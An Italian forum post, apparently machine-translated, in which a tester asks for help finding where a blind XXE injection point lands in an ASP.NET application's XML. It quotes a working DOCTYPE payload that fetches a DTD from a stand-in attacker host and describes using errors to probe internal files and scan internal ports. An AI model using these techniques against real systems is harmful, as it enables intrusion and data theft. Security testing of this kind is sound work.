Quindi sono impegnato e ho scoperto un punto di iniezione XXE in un posto particolare su un'applicazione ASP.NET che non riesco a capire. Uno dei parametri del post controlla a quale "forma" viene inviato il resto dei dati e sembra che questo parametro venga utilizzato come nodo radice del documento XML. Ad esempio, se fosse formName = foo, l'xml sarebbe:
<foo>
...
</foo>
Una cosa fondamentale da notare è che questo XXE è cieco, quindi non ricevo output fuori dagli errori.
Ecco cosa sono riuscito a portare avanti finora:
- Richiamo al server web pubblico e rilascio di dtd (visualizzato nel registro del server)
- Verifica l'esistenza di file interni arbitrari tramite il rapporto errori (errore su file inesistente)
- Scansione interna dei sistemi interni (errore su connessione porta non riuscita)
Il problema principale che ho riscontrato è che il punto di iniezione è ancora un po 'fangoso. La mia prima scoperta è arrivata quando ho sostituito il modulo param con solo un "!" personaggio che mi ha dato questo errore:
' ' is an unexpected token. The expected token is 'DOCTYPE'. Line 1, position 3
Questo mi ha detto due cose: c'è una parte del xml generato lato server (L'inizio '<') e che devo essere all'inizio del documento altrimenti non suggerirebbe un token DOCTYPE. Ho confermato questo cercando "? Xml" invece e ho ottenuto: '
Version number '1' is invalid. Line 1, position 17
Ciò conferma che sono all'inizio del documento, ma che confonde anche l'acqua. La lunghezza dell'XML salta drasticamente con pochi cambiamenti nel mio input, quindi viene aggiunto più xml lato server. Inizialmente pensavo che stesse avvolgendo l'input del modulo in "< >" i personaggi, ma sembra essere falso dal momento che il carico utile ho avuto modo di lavorare che chiama a casa al mio server:
!DOCTYPE document SYSTEM "http://attacker.attack/mydtd.dtd">
richiede la fine ">" lavorare. Altrimenti ottieni questo errore:
Expecting an internal subset or the end of the DOCTYPE declaration. Line 1, position 66
Questo mostra che il server non sta chiudendo ">" e si aspetta più DTD. Inoltre riporta lo stesso problema che il lato server include XML non posso vedere nella richiesta, poiché la lunghezza della richiesta sopra è 63 (senza la fine ">") quindi ci sono 3 caratteri extra da qualche parte stanno lavorando alla XXE.
Un altro errore particolare che potrebbe essere di aiuto è questo input:
!DOCTYPE document [] #length is 20
Ottiene questo output di errore:
'version' is an unexpected token. The expected token is '>'. Line 1, position 23
Quindi il parser si aspetta la fine della DTD ma sta vedendo un tag 'version' quasi come se stessi inserendo nel tag di dichiarazione XML. Se lo faccio, l'ultimo '>' mi piacerebbe avere questo errore:
Data at the root level is invalid. Line 1, position 24.
Per riassumere l'intera questione, sto cercando qualsiasi suggerimento su dove potrei effettivamente atterrare nel documento, date le informazioni di cui sopra. Sembra probabile che io sia nel nodo radice come penso o potrebbe esserci qualche altra posizione che sto atterrando. Se è il nodo radice, ci sono ulteriori problemi con i dati duplicati due volte poiché sarà incluso anche nel tag finale.
Grazie per l'aiuto che puoi dare!